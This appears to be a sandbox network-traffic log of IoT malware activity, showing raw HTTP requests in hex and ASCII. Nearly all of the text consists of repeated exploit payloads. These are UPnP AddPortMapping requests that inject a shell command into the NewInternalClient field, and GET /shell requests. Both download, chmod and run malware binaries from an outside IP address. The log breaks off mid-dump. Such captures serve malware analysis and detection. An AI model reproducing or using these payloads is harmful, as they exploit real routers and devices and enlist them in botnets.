74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:58.106806040 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:10.650489092 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:36.505707026 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:27.704199076 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      26192.168.2.153404254.37.160.1125501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:49.934010983 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      27192.168.2.1556202137.175.57.2195501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:50.088623047 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:26:50.907067060 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:26:51.866986990 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:26:53.754910946 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:26:57.594927073 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:05.274688005 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:20.378194094 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:50.841393948 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      28192.168.2.153592645.42.86.3752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:51.386152029 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:55.546880007 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 